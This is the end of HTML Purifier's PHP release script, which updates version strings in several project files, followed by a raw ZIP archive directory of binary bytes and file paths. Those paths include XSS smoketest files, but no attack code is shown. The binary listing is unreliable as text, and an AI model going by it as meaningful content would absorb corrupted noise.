'/(?<=PROJECT_NUMBER {9}= )[^\s]+/m', // brittle
$version,
file_get_contents('Doxyfile'),
1, $c
);
if (!$c) {
echo 'Could not update Doxyfile, missing PROJECT_NUMBER.' . PHP_EOL;
exit;
}
file_put_contents('Doxyfile', $doxyfile_c);
// ...in HTMLPurifier.php
$htmlpurifier_c = file_get_contents('library/HTMLPurifier.php');
$htmlpurifier_c = preg_replace(
'/HTML Purifier .+? - /',
"HTML Purifier $version - ",
$htmlpurifier_c,
1, $c
);
if (!$c) {
echo 'Could not update HTMLPurifier.php, missing HTML Purifier [version] header.' . PHP_EOL;
exit;
}
$htmlpurifier_c = preg_replace(
'/public \$version = \'.+?\';/',
"public \$version = '$version';",
$htmlpurifier_c,
1, $c
);
if (!$c) {
echo 'Could not update HTMLPurifier.php, missing public $version.' . PHP_EOL;
exit;
}
$htmlpurifier_c = preg_replace(
'/const VERSION = \'.+?\';/',
"const VERSION = '$version';",
$htmlpurifier_c,
1, $c
);
if (!$c) {
echo 'Could not update HTMLPurifier.php, missing const $version.' . PHP_EOL;
exit;
}
file_put_contents('library/HTMLPurifier.php', $htmlpurifier_c);
$config_c = file_get_contents('library/HTMLPurifier/Config.php');
$config_c = preg_replace(
'/public \$version = \'.+?\';/',
"public \$version = '$version';",
$config_c,
1, $c
);
if (!$c) {
echo 'Could not update Config.php, missing public $version.' . PHP_EOL;
exit;
}
file_put_contents('library/HTMLPurifier/Config.php', $config_c);
passthru('php maintenance/flush.php');
if ($is_dev) echo "Review changes, write something in WHATSNEW and FOCUS, and then commit with log 'Release $version.'" . PHP_EOL;
else echo "Numbers updated to dev, no other modifications necessary!";
// vim: et sw=4 sts=4
PK j�$Z� ��i
i
htmlpurifier/update-for-releasenu �[��� PK j�$Z}���� � �
htmlpurifier/package.phpnu �[��� PK j�$Z� ��1 1 � htmlpurifier/INSTALLnu �[��� PK j�$Zc4�Z� � $ �C htmlpurifier/plugins/phorum/info.txtnu �[��� PK j�$Z�9S� � # �F htmlpurifier/plugins/phorum/INSTALLnu �[��� PK j�$Z'$��� � + �P htmlpurifier/plugins/phorum/init-config.phpnu �[��� PK j�$Z�c�(� � : �T htmlpurifier/plugins/phorum/settings/migrate-sigs-form.phpnu �[��� PK j�$Z��O�} } 5 �X htmlpurifier/plugins/phorum/settings/migrate-sigs.phpnu �[��� PK j�$Z@RXNK K - qd htmlpurifier/plugins/phorum/settings/save.phpnu �[��� PK j�$Z���c) ) - i htmlpurifier/plugins/phorum/settings/form.phpnu �[��� PK j�$Z��dY Y . �x htmlpurifier/plugins/phorum/config.default.phpnu �[��� PK j�$Z��?) ) . V| htmlpurifier/plugins/phorum/migrate.bbcode.phpnu �[��� PK j�$ZT}�� � ( ݀ htmlpurifier/plugins/phorum/settings.phpnu �[��� PK j�$Z�x�U/ U/ , Έ htmlpurifier/plugins/phorum/htmlpurifier.phpnu �[��� PK j�$Z�R�A� � " � htmlpurifier/plugins/phorum/READMEnu �[��� PK j�$Z���_L L / �� htmlpurifier/plugins/phorum/htmlpurifier/READMEnu �[��� PK j�$Z�X@Xg Xg 0 D� htmlpurifier/plugins/phorum/htmlpurifier/LICENSEnu �[��� PK j�$ZT�jī � % �) htmlpurifier/plugins/phorum/Changelognu �[��� PK j�$Z�wm@0
0
�- htmlpurifier/plugins/modx.txtnu �[��� PK j�$Z���S� � * y; htmlpurifier/extras/HTMLPurifierExtras.phpnu �[��� PK j�$ZG��M / > htmlpurifier/extras/HTMLPurifierExtras.auto.phpnu �[��� PK j�$Z/^��� � 3 �? htmlpurifier/extras/HTMLPurifierExtras.autoload.phpnu �[��� PK j�$Z_���f f 3 !C htmlpurifier/extras/ConfigDoc/HTMLXSLTProcessor.phpnu �[��� PK j�$Z��$�; ; $ �L htmlpurifier/extras/FSTools/File.phpnu �[��� PK j�$Z�3�< < y[ htmlpurifier/extras/FSTools.phpnu �[��� PK j�$Z���( : n htmlpurifier/extras/HTMLPurifierExtras.autoload-legacy.phpnu �[��� PK j�$Z
9�� � oo htmlpurifier/extras/READMEnu �[��� PK j�$ZJGJ�
�
% t htmlpurifier/test-settings.sample.phpnu �[��� PK j�$Z�P��!
!
% f htmlpurifier/test-settings.travis.phpnu �[��� PK j�$Z�`��i i ܉ htmlpurifier/INSTALL.fr.utf8nu �[��� PK j�$Z��!v �� htmlpurifier/configdoc/types.xmlnu �[��� PK j�$ZB
��% �% ' �� htmlpurifier/configdoc/styles/plain.xslnu �[��� PK j�$Z��/Z� � ' � htmlpurifier/configdoc/styles/plain.cssnu �[��� PK j�$ZU���
=
= \� htmlpurifier/configdoc/usage.xmlnu �[��� PK j�$Z�S��
# � htmlpurifier/configdoc/generate.phpnu �[��� PK j�$ZP�� � htmlpurifier/README.mdnu �[��� PK j�$Z��~ ' htmlpurifier/VERSIONnu �[��� PK j�$Z<�I�[ [ q htmlpurifier/WHATSNEWnu �[��� PK j�$Z!hNh? ? # htmlpurifier/maintenance/PH5P.patchnu �[��� PK j�$Zl �*� � + �& htmlpurifier/maintenance/config-scanner.phpnu �[��� PK j�$Z��� " �9 htmlpurifier/maintenance/.htaccessnu �[��� PK j�$Z��1M 0 : htmlpurifier/maintenance/generate-standalone.phpnu �[��� PK j�$Zu���T T 2 �K htmlpurifier/maintenance/generate-schema-cache.phpnu �[��� PK j�$Z]���� � ( 9Q htmlpurifier/maintenance/add-vimline.phpnu �[��� PK j�$Z滟k� � + @` htmlpurifier/maintenance/compile-doxygen.shnu �[��� PK j�$Z�D�w w # wa htmlpurifier/maintenance/common.phpnu �[��� PK j�$Z�d�� * Ad htmlpurifier/maintenance/rename-config.phpnu �[��� PK j�$Z9�s� � * m htmlpurifier/maintenance/update-config.phpnu �[��� PK j�$Z�(��� � 4 @q htmlpurifier/maintenance/old-remove-require-once.phpnu �[��� PK j�$Zf}�Ī � * �t htmlpurifier/maintenance/merge-library.phpnu �[��� PK j�$ZP��R
. �u htmlpurifier/maintenance/generate-includes.phpnu �[��� PK j�$Z�1�ȑw �w ! �� htmlpurifier/maintenance/PH5P.phpnu �[��� PK j�$Z�G�g g " � htmlpurifier/maintenance/flush.phpnu �[��� PK j�$ZK��� � 0 � htmlpurifier/maintenance/generate-ph5p-patch.phpnu �[��� PK j�$Z�>� � + � htmlpurifier/maintenance/regenerate-docs.shnu �[��� PK j�$Z�%�
� � 1 � htmlpurifier/maintenance/generate-entity-file.phpnu �[��� PK j�$Zϕ� � 7 htmlpurifier/maintenance/remove-trailing-whitespace.phpnu �[��� PK j�$Z�
.�� � / htmlpurifier/maintenance/old-extract-schema.phpnu �[��� PK j�$ZA��?0 0 2 h htmlpurifier/maintenance/old-remove-schema-def.phpnu �[��� PK j�$Zόi7 7 3 �" htmlpurifier/maintenance/flush-definition-cache.phpnu �[��� PK j�$Z���� � �' htmlpurifier/phpdoc.ininu �[��� PK j�$ZnT�d d . �7 htmlpurifier/smoketests/basic/allElements.htmlnu �[��� PK j�$Z
��� � ) g@ htmlpurifier/smoketests/basic/legacy.htmlnu �[��� PK j�$ZJ�� � - �L htmlpurifier/smoketests/basic/allElements.cssnu �[��� PK j�$Z�~�f� � ( �R htmlpurifier/smoketests/basic/legacy.cssnu �[��� PK j�$Z�xG5 5 + vW htmlpurifier/smoketests/preserveYouTube.phpnu �[��� PK j�$Z�tY�� � " f htmlpurifier/smoketests/common.phpnu �[��� PK j�$Z2 ��$ $ $ j htmlpurifier/smoketests/innerHTML.jsnu �[��� PK j�$Z�9� � � & �o htmlpurifier/smoketests/xssAttacks.phpnu �[��� PK j�$Z@��� � 1 �| htmlpurifier/smoketests/test-schema/Type.text.txtnu �[��� PK j�$Z�pG G 7 �} htmlpurifier/smoketests/test-schema/Type.nullstring.txtnu �[��� PK j�$Z��5v v 2 � htmlpurifier/smoketests/test-schema/Type.float.txtnu �[��� PK j�$Z�P � � 3 o� htmlpurifier/smoketests/test-schema/Type.string.txtnu �[��� PK j�$Z\ç�� � 9 d� htmlpurifier/smoketests/test-schema/Directive.Allowed.txtnu �[��� PK j�$Z��iB� � 2 �� htmlpurifier/smoketests/test-schema/Type.itext.txtnu �[��� PK j�$Z��?�+ + , �� htmlpurifier/smoketests/test-schema/info.ininu �[��� PK j�$Z�S�Rl l , .� htmlpurifier/smoketests/test-schema/Type.txtnu �[��� PK j�$Z�e��T T 1 �� htmlpurifier/smoketests/test-schema/Directive.txtnu �[��� PK j�$Z`�T�k k 1 �� htmlpurifier/smoketests/test-schema/Type.bool.txtnu �[��� PK j�$ZW���� � < w� htmlpurifier/smoketests/test-schema/Directive.Deprecated.txtnu �[��� PK j�$Z�3s� � 3 �� htmlpurifier/smoketests/test-schema/Type.lookup.txtnu �[��� PK j�$Z��]�� � 2 �� htmlpurifier/smoketests/test-schema/Type.mixed.txtnu �[��� PK j�$Zs@�^� � 1 � htmlpurifier/smoketests/test-schema/Type.list.txtnu �[��� PK j�$ZPK�}f f 0 ۊ htmlpurifier/smoketests/test-schema/Type.int.txtnu �[��� PK j�$Z��Jm� � 5 �� htmlpurifier/smoketests/test-schema/Type.nullbool.txtnu �[��� PK j�$Zhh*� � 4 ό htmlpurifier/smoketests/test-schema/Type.istring.txtnu �[��� PK j�$Z�k� � 1 ލ htmlpurifier/smoketests/test-schema/Type.hash.txtnu �[��� PK j�$Z.d�<� � & � htmlpurifier/smoketests/innerHTML.htmlnu �[��� PK j�$Z�^ � � � htmlpurifier/smoketests/all.phpnu �[��� PK j�$Z�| \ & � htmlpurifier/smoketests/dataScheme.phpnu �[��� PK j�$ZC� L� � ) D� htmlpurifier/smoketests/attrTransform.phpnu �[��� PK j�$Z!�Y0� � + �� htmlpurifier/smoketests/printDefinition.phpnu �[��� PK j�$Z_@�:~
~
) �� htmlpurifier/smoketests/allConfigForm.phpnu �[��� PK j�$ZX�_�y y ! Z� htmlpurifier/smoketests/basic.phpnu �[��� PK j�$Z�� B
& $� htmlpurifier/smoketests/configForm.phpnu �[��� PK j�$Z,?l / �� htmlpurifier/smoketests/variableWidthAttack.phpnu �[��� PK j�$Z�b�mZ Z �� htmlpurifier/smoketests/img.pngnu �[��� PK j�$Z��q�p p . �� htmlpurifier/smoketests/extractStyleBlocks.phpnu �[��� PK j�$Zd��n n & a� htmlpurifier/smoketests/xssAttacks.xmlnu �[��� PK j�$Z��� � ' �X htmlpurifier/smoketests/cacheConfig.phpnu �[��� PK j�$Z`�? ? ) �Z htmlpurifier/smoketests/attrTransform.xmlnu �[��� PK j�$Z��n�U U �{ htmlpurifier/CREDITSnu �[��� PK j�$Z�X@Xg Xg )} htmlpurifier/LICENSEnu �[��� PK j�$Z�*��� �� �� htmlpurifier/Doxyfilenu �[��� PK j�$Z�F� �� htmlpurifier/release2-tag.phpnu �[��� PK j�$Z�e�G� � � htmlpurifier/NEWSnu �[��� PK j�$Z��\F� � * �� htmlpurifier/library/HTMLPurifier.path.phpnu �[��� PK j�$Z�� ' ' . D� htmlpurifier/library/HTMLPurifier.autoload.phpnu �[��� PK j�$Z�f��@ @ * � htmlpurifier/library/HTMLPurifier.func.phpnu �[��� PK j�$Z�K�#� � * c� htmlpurifier/library/HTMLPurifier.kses.phpnu �[��� PK j�$Z�aي * X� htmlpurifier/library/HTMLPurifier.auto.phpnu �[��� PK j�$Zral�' �' % �� htmlpurifier/library/HTMLPurifier.phpnu �[��� PK j�$Z ���e e . �� htmlpurifier/library/HTMLPurifier.composer.phpnu �[��� PK j�$Z{lJ�) ) . �� htmlpurifier/library/HTMLPurifier.includes.phpnu �[��� PK j�$Z��z�4 �4 3 �
htmlpurifier/library/HTMLPurifier.safe-includes.phpnu �[��� PK j�$Z�h�8 5 %Q
htmlpurifier/library/HTMLPurifier.autoload-legacy.phpnu �[��� PK j�$Z��/d /d - �R
htmlpurifier/library/HTMLPurifier/Encoder.phpnu �[��� PK j�$Z��� / �
htmlpurifier/library/HTMLPurifier/Bootstrap.phpnu �[��� PK j�$Z�>��� � 6 �
htmlpurifier/library/HTMLPurifier/VarParser/Native.phpnu �[��� PK j�$Zt�?� � 8 s�
htmlpurifier/library/HTMLPurifier/VarParser/Flexible.phpnu �[��� PK j�$Z�!赖 � 9 ��
htmlpurifier/library/HTMLPurifier/TagTransform/Simple.phpnu �[��� PK j�$Z�r� +
+
7 ��
htmlpurifier/library/HTMLPurifier/TagTransform/Font.phpnu �[��� PK j�$Z�림� � @ 2�
htmlpurifier/library/HTMLPurifier/URIFilter/DisableResources.phpnu �[��� PK j�$Zd��sC C 5 p�
htmlpurifier/library/HTMLPurifier/URIFilter/Munge.phpnu �[��� PK j�$Z� �� ? htmlpurifier/library/HTMLPurifier/URIFilter/DisableExternal.phpnu �[��� PK j�$Z�G��H H H � htmlpurifier/library/HTMLPurifier/URIFilter/DisableExternalResources.phpnu �[��� PK j�$ZzᲲ � : K htmlpurifier/library/HTMLPurifier/URIFilter/SafeIframe.phpnu �[��� PK j�$Z$��a a < g htmlpurifier/library/HTMLPurifier/URIFilter/MakeAbsolute.phpnu �[��� PK j�$Znr?� � = 4& htmlpurifier/library/HTMLPurifier/URIFilter/HostBlacklist.phpnu �[��� PK j�$Z$<4� � 3 !+ htmlpurifier/library/HTMLPurifier/AttrTransform.phpnu �[��� PK j�$ZR�)�� � 2 I3 htmlpurifier/library/HTMLPurifier/EntityLookup.phpnu �[��� PK j�$Zͮ�hd d / =9 htmlpurifier/library/HTMLPurifier/Node/Text.phpnu �[��� PK j�$Zg�ɑ� � 2 ? htmlpurifier/library/HTMLPurifier/Node/Element.phpnu �[��� PK j�$Z�Ǵ�� � 2 F htmlpurifier/library/HTMLPurifier/Node/Comment.phpnu �[��� PK j�$Z�9�� � / VI htmlpurifier/library/HTMLPurifier/URIParser.phpnu �[��� PK j�$ZV�{o�
�
4 �R htmlpurifier/library/HTMLPurifier/PercentEncoder.phpnu �[��� PK j�$Z���� � ; �` htmlpurifier/library/HTMLPurifier/EntityLookup/entities.sernu �[��� PK j�$Z�R9H + &v htmlpurifier/library/HTMLPurifier/Queue.phpnu �[��� PK j�$Z48Y�J> J> 7 �| htmlpurifier/library/HTMLPurifier/HTMLModuleManager.phpnu �[��� PK j�$Z6��H� � 9 A� htmlpurifier/library/HTMLPurifier/HTMLModule/Nofollow.phpnu �[��� PK j�$Z4\�^l l 6 �� htmlpurifier/library/HTMLPurifier/HTMLModule/Image.phpnu �[��� PK j�$Z���� � : w� htmlpurifier/library/HTMLPurifier/HTMLModule/Hypertext.phpnu �[��� PK j�$Z1�� � : �� htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Name.phpnu �[��� PK j�$Z���� B $� htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Transitional.phpnu �[��� PK j�$ZR�� � C �� htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.phpnu �[��� PK j�$Zs� 8� � < �� htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Strict.phpnu �[��� PK j�$ZQ:t� � A �� htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Proprietary.phpnu �[��� PK j�$Z�]�Ϸ � ; � htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/XHTML.phpnu �[��� PK j�$ZI��� ? B� htmlpurifier/library/HTMLPurifier/HTMLModule/StyleAttribute.phpnu �[��� PK j�$ZeD>�� � 5 �� htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy.phpnu �[��� PK j�$Z���= A � htmlpurifier/library/HTMLPurifier/HTMLModule/TargetNoreferrer.phpnu �[��� PK j�$Z="��! ! : u htmlpurifier/library/HTMLPurifier/HTMLModule/Scripting.phpnu �[��� PK j�$Z`)� 4 htmlpurifier/library/HTMLPurifier/HTMLModule/Bdo.phpnu �[��� PK j�$Z���T� � > h$ htmlpurifier/library/HTMLPurifier/HTMLModule/SafeScripting.phpnu �[��� PK j�$Z���H� � A �) htmlpurifier/library/HTMLPurifier/HTMLModule/CommonAttributes.phpnu �[��� PK j�$Z9��k
k
5 �, htmlpurifier/library/HTMLPurifier/HTMLModule/Text.phpnu �[��� PK j�$ZD9�n� � 5 �: htmlpurifier/library/HTMLPurifier/HTMLModule/Name.phpnu �[��� PK j�$Z���b b G �= htmlpurifier/library/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.phpnu �[��� PK j�$Z*��` ` D ? htmlpurifier/library/HTMLPurifier/HTMLModule/XMLCommonAttributes.phpnu �[��� PK j�$Z"�tw w 6 SA htmlpurifier/library/HTMLPurifier/HTMLModule/Forms.phpnu �[��� PK j�$Z�(�� � = 0X htmlpurifier/library/HTMLPurifier/HTMLModule/Presentation.phpnu �[��� PK j�$Z}�9F 5 $^ htmlpurifier/library/HTMLPurifier/HTMLModule/Ruby.phpnu �[��� PK j�$Z�dVI I : �b htmlpurifier/library/HTMLPurifier/HTMLModule/SafeEmbed.phpnu �[��� PK j�$Z%f59� � 7 Zg htmlpurifier/library/HTMLPurifier/HTMLModule/Legacy.phpnu �[��� PK j�$Z6<� 0 0 7 �~ htmlpurifier/library/HTMLPurifier/HTMLModule/Tables.phpnu �[��� PK j�$Zc��!� � 7 7� htmlpurifier/library/HTMLPurifier/HTMLModule/Object.phpnu �[��� PK j�$Z9g ;� � 5 �� htmlpurifier/library/HTMLPurifier/HTMLModule/Edit.phpnu �[��� PK j�$Z��\u u 5 �� htmlpurifier/library/HTMLPurifier/HTMLModule/List.phpnu �[��� PK j�$Z�ӄ�� � ; j� htmlpurifier/library/HTMLPurifier/HTMLModule/SafeObject.phpnu �[��� PK j�$Z��� ? p� htmlpurifier/library/HTMLPurifier/HTMLModule/TargetNoopener.phpnu �[��� PK j�$Z �r� � 7 � htmlpurifier/library/HTMLPurifier/HTMLModule/Iframe.phpnu �[��� PK j�$ZBD�0� � < � htmlpurifier/library/HTMLPurifier/HTMLModule/Proprietary.phpnu �[��� PK j�$Z��
< 2� htmlpurifier/library/HTMLPurifier/HTMLModule/TargetBlank.phpnu �[��� PK j�$Zi'(�W W 7 �� htmlpurifier/library/HTMLPurifier/HTMLModule/Target.phpnu �[��� PK j�$Z���pT T / f� htmlpurifier/library/HTMLPurifier/AttrTypes.phpnu �[��� PK j�$ZF�� � < � htmlpurifier/library/HTMLPurifier/DefinitionCacheFactory.phpnu �[��� PK j�$ZO���
�
2 � htmlpurifier/library/HTMLPurifier/PropertyList.phpnu �[��� PK j�$Z��z4 z4 + G� htmlpurifier/library/HTMLPurifier/Lexer.phpnu �[��� PK j�$Z�n�;c c 0
htmlpurifier/library/HTMLPurifier/ElementDef.phpnu �[��� PK j�$Z���' �' 3 �.
htmlpurifier/library/HTMLPurifier/UnitConverter.phpnu �[��� PK j�$Z ��[ [ = �V
htmlpurifier/library/HTMLPurifier/Injector/DisplayLinkURI.phpnu �[��� PK j�$Z�
�
�
: �Z
htmlpurifier/library/HTMLPurifier/Injector/RemoveEmpty.phpnu �[��� PK j�$Z6�� � 6 �h
htmlpurifier/library/HTMLPurifier/Injector/Linkify.phpnu �[��� PK j�$Zq� � > q
htmlpurifier/library/HTMLPurifier/Injector/PurifierLinkify.phpnu �[��� PK j�$Z0����5 �5 < �x
htmlpurifier/library/HTMLPurifier/Injector/AutoParagraph.phpnu �[��� PK j�$Z��<+� � K ܮ
htmlpurifier/library/HTMLPurifier/Injector/RemoveSpansWithoutAttributes.phpnu �[��� PK j�$Z%5>�o o 9 =�
htmlpurifier/library/HTMLPurifier/Injector/SafeObject.phpnu �[��� PK j�$Z� ;� * �
htmlpurifier/library/HTMLPurifier/Node.phpnu �[��� PK j�$Z;w/�o o 3 o�
htmlpurifier/library/HTMLPurifier/IDAccumulator.phpnu �[��� PK j�$Z��{� � A A�
htmlpurifier/library/HTMLPurifier/Strategy/ValidateAttributes.phpnu �[��� PK j�$Z{0K_�# �# D ��
htmlpurifier/library/HTMLPurifier/Strategy/RemoveForeignElements.phpnu �[��� PK j�$Z;�6:� � 9 �
htmlpurifier/library/HTMLPurifier/Strategy/FixNesting.phpnu �[��� PK j�$Zӗ��k �k = � htmlpurifier/library/HTMLPurifier/Strategy/MakeWellFormed.phpnu �[��� PK j�$Z�z �� � 8 � htmlpurifier/library/HTMLPurifier/Strategy/Composite.phpnu �[��� PK j�$Z0��& 3 F� htmlpurifier/library/HTMLPurifier/Strategy/Core.phpnu �[��� PK j�$Z �$� � / �� htmlpurifier/library/HTMLPurifier/Exception.phpnu �[��� PK j�$Z��&P P 5 �� htmlpurifier/library/HTMLPurifier/Lexer/DirectLex.phpnu �[��� PK j�$Zd�ﻯ0 �0 2 6� htmlpurifier/library/HTMLPurifier/Lexer/DOMLex.phpnu �[��� PK j�$Z��8�5� 5� 0 G htmlpurifier/library/HTMLPurifier/Lexer/PH5P.phpnu �[��� PK j�$Z��� � 2 �� htmlpurifier/library/HTMLPurifier/AttrDef/Lang.phpnu �[��� PK j�$Zc)��� � 6 �� htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv4.phpnu �[��� PK j�$Zx�ٺW W 7 � htmlpurifier/library/HTMLPurifier/AttrDef/URI/Email.phpnu �[��� PK j�$Z7f�� 6 �� htmlpurifier/library/HTMLPurifier/AttrDef/URI/Host.phpnu �[��� PK j�$ZwlL8 8 C L� htmlpurifier/library/HTMLPurifier/AttrDef/URI/Email/SimpleCheck.phpnu �[��� PK j�$Z��`� � 6 � htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv6.phpnu �[��� PK j�$Z��)� � 2
htmlpurifier/library/HTMLPurifier/AttrDef/Enum.phpnu �[��� PK j�$Z%�A�a a ; htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Nmtokens.phpnu �[��� PK j�$Z� A�� � 9 � htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Pixels.phpnu �[��� PK j�$Z���� � < % htmlpurifier/library/HTMLPurifier/AttrDef/HTML/LinkTypes.phpnu �[��� PK j�$ZQ�2;� � 8 T, htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Color.phpnu �[��� PK j�$ZA�� � 8 g1 htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Class.phpnu �[��� PK j�$ZZ���� � 9 �7 htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Length.phpnu �[��� PK j�$Z v �i i 7 �< htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Bool.phpnu �[��� PK j�$Zpi�iB B > �@ htmlpurifier/library/HTMLPurifier/AttrDef/HTML/FrameTarget.phpnu �[��� PK j�$Z�M�I4 4 > gD htmlpurifier/library/HTMLPurifier/AttrDef/HTML/MultiLength.phpnu �[��� PK j�$Z] Ȅ � 5 J htmlpurifier/library/HTMLPurifier/AttrDef/HTML/ID.phpnu �[��� PK j�$Z��_�h h 3 �V htmlpurifier/library/HTMLPurifier/AttrDef/Clone.phpnu �[��� PK j�$Z �ؘ
�
1 �Z htmlpurifier/library/HTMLPurifier/AttrDef/URI.phpnu �[��� PK j�$Z�+^�� � < �e htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Background.phpnu �[��� PK j�$Z���, , : �r htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Multiple.phpnu �[��� PK j�$ZЈ�~3 3 F @{ htmlpurifier/library/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.phpnu �[��� PK j�$Z^��_ _ ; � htmlpurifier/library/HTMLPurifier/AttrDef/CSS/ListStyle.phpnu �[��� PK j�$Z��� � < �� htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Percentage.phpnu �[��� PK j�$Z�<ͫF F D � htmlpurifier/library/HTMLPurifier/AttrDef/CSS/BackgroundPosition.phpnu �[��� PK j�$Z�LӍ
5 ء htmlpurifier/library/HTMLPurifier/AttrDef/CSS/URI.phpnu �[��� PK j�$ZA�o= = D E� htmlpurifier/library/HTMLPurifier/AttrDef/CSS/ImportantDecorator.phpnu �[��� PK j�$Z�mn� 8 �� htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Filter.phpnu �[��� PK j�$Z�k�H H 7 t� htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Color.phpnu �[��� PK j�$Z�,F� < #� htmlpurifier/library/HTMLPurifier/AttrDef/CSS/AlphaValue.phpnu �[��� PK j�$ZJ��� � 7 �� htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Ident.phpnu �[��� PK j�$Z� � 4 4 ; �� htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Composite.phpnu �[��� PK j�$Z���r�$ �$ < �� htmlpurifier/library/HTMLPurifier/AttrDef/CSS/FontFamily.phpnu �[��� PK j�$Z 3 �i i 8 � htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Length.phpnu �[��� PK j�$Z�b��� � 6 � htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Font.phpnu �[��� PK j�$ZD� 87 7 8 �" htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Border.phpnu �[��� PK j�$Z�KYD D 8 V) htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Number.phpnu �[��� PK j�$Zw�8� � @ 2 htmlpurifier/library/HTMLPurifier/AttrDef/CSS/TextDecoration.phpnu �[��� PK j�$Z�yx� � 2 �6 htmlpurifier/library/HTMLPurifier/AttrDef/Text.phpnu �[��� PK j�$Z��)� � 1 9 htmlpurifier/library/HTMLPurifier/AttrDef/CSS.phpnu �[��� PK j�$Zy�-A� � 5 ZJ htmlpurifier/library/HTMLPurifier/AttrDef/Integer.phpnu �[��� PK j�$Z��V~ 4 �T htmlpurifier/library/HTMLPurifier/AttrDef/Switch.phpnu �[��� PK j�$ZLm,�d) d) ) Z htmlpurifier/library/HTMLPurifier/URI.phpnu �[��� PK j�$Z���qI I 5 ܃ htmlpurifier/library/HTMLPurifier/DefinitionCache.phpnu �[��� PK j�$Zv5��& �& 2 �� htmlpurifier/library/HTMLPurifier/EntityParser.phpnu �[��� PK j�$Zk��[. . - � htmlpurifier/library/HTMLPurifier/Doctype.phpnu �[��� PK j�$Z��exSE SE 4 s� htmlpurifier/library/HTMLPurifier/HTMLDefinition.phpnu �[��� PK j�$Z� z�Y Y , * htmlpurifier/library/HTMLPurifier/Filter.phpnu �[��� PK j�$Z�C��. . 0 �
htmlpurifier/library/HTMLPurifier/StringHash.phpnu �[��� PK j�$Z�fK K - m htmlpurifier/library/HTMLPurifier/AttrDef.phpnu �[��� PK j�$Z&�]u= = / ' htmlpurifier/library/HTMLPurifier/URIFilter.phpnu �[��� PK j�$Z\��}J }J 3 �0 htmlpurifier/library/HTMLPurifier/CSSDefinition.phpnu �[��� PK j�$ZЭZ�� � . �{ htmlpurifier/library/HTMLPurifier/Arborize.phpnu �[��� PK j�$Z -#9 9 6 � htmlpurifier/library/HTMLPurifier/StringHashParser.phpnu �[��� PK j�$Z �H� � / �� htmlpurifier/library/HTMLPurifier/Token/Tag.phpnu �[��� PK j�$Z���:L L / Ü htmlpurifier/library/HTMLPurifier/Token/End.phpnu �[��� PK j�$Ztd�/� � 1 n� htmlpurifier/library/HTMLPurifier/Token/Start.phpnu �[��� PK j�$Z�G�j- - 0 V� htmlpurifier/library/HTMLPurifier/Token/Text.phpnu �[��� PK j�$Z��[K� � 1 � htmlpurifier/library/HTMLPurifier/Token/Empty.phpnu �[��� PK j�$ZS�\�� � 3 <� htmlpurifier/library/HTMLPurifier/Token/Comment.phpnu �[��� PK j�$Z���� . �� htmlpurifier/library/HTMLPurifier/ChildDef.phpnu �[��� PK j�$Z{��J J 2 � htmlpurifier/library/HTMLPurifier/TagTransform.phpnu �[��� PK j�$ZJ� �� � E �� htmlpurifier/library/HTMLPurifier/ConfigSchema/InterchangeBuilder.phpnu �[��� PK j�$Z��د � < �� htmlpurifier/library/HTMLPurifier/ConfigSchema/Validator.phpnu �[��� PK j�$Z�^Վ > � htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange.phpnu �[��� PK j�$ZH��� � G �� htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/ConfigSchema.phpnu �[��� PK j�$Zê� > �� htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/Xml.phpnu �[��� PK j�$Z]�rx x Z x htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.Predicate.txtnu �[��� PK j�$ZG�l l H z htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyLevel.txtnu �[��� PK j�$Z��tx x ^ ^ htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DirectLexLineNumberSyncInterval.txtnu �[��� PK j�$Z��8� � G d htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.EnableID.txtnu �[��� PK j�$Z7�%F F [ ` htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.DocURL.txtnu �[��� PK j�$Z��Q� � M 1 htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternal.txtnu �[��� PK j�$Zt6��� � E i htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Trusted.txtnu �[��� PK j�$Z��J` ` O � htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedProperties.txtnu �[��� PK j�$Z[��@ @ R �# htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImage.txtnu �[��� PK j�$Z��ϻ I z% htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRel.txtnu �[��� PK j�$ZpR�O= = W ' htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyRemoveScript.txtnu �[��� PK j�$Zz���� � P �) htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.txtnu �[��� PK j�$Z�`_r r R E1 htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.AutoParagraph.txtnu �[��� PK 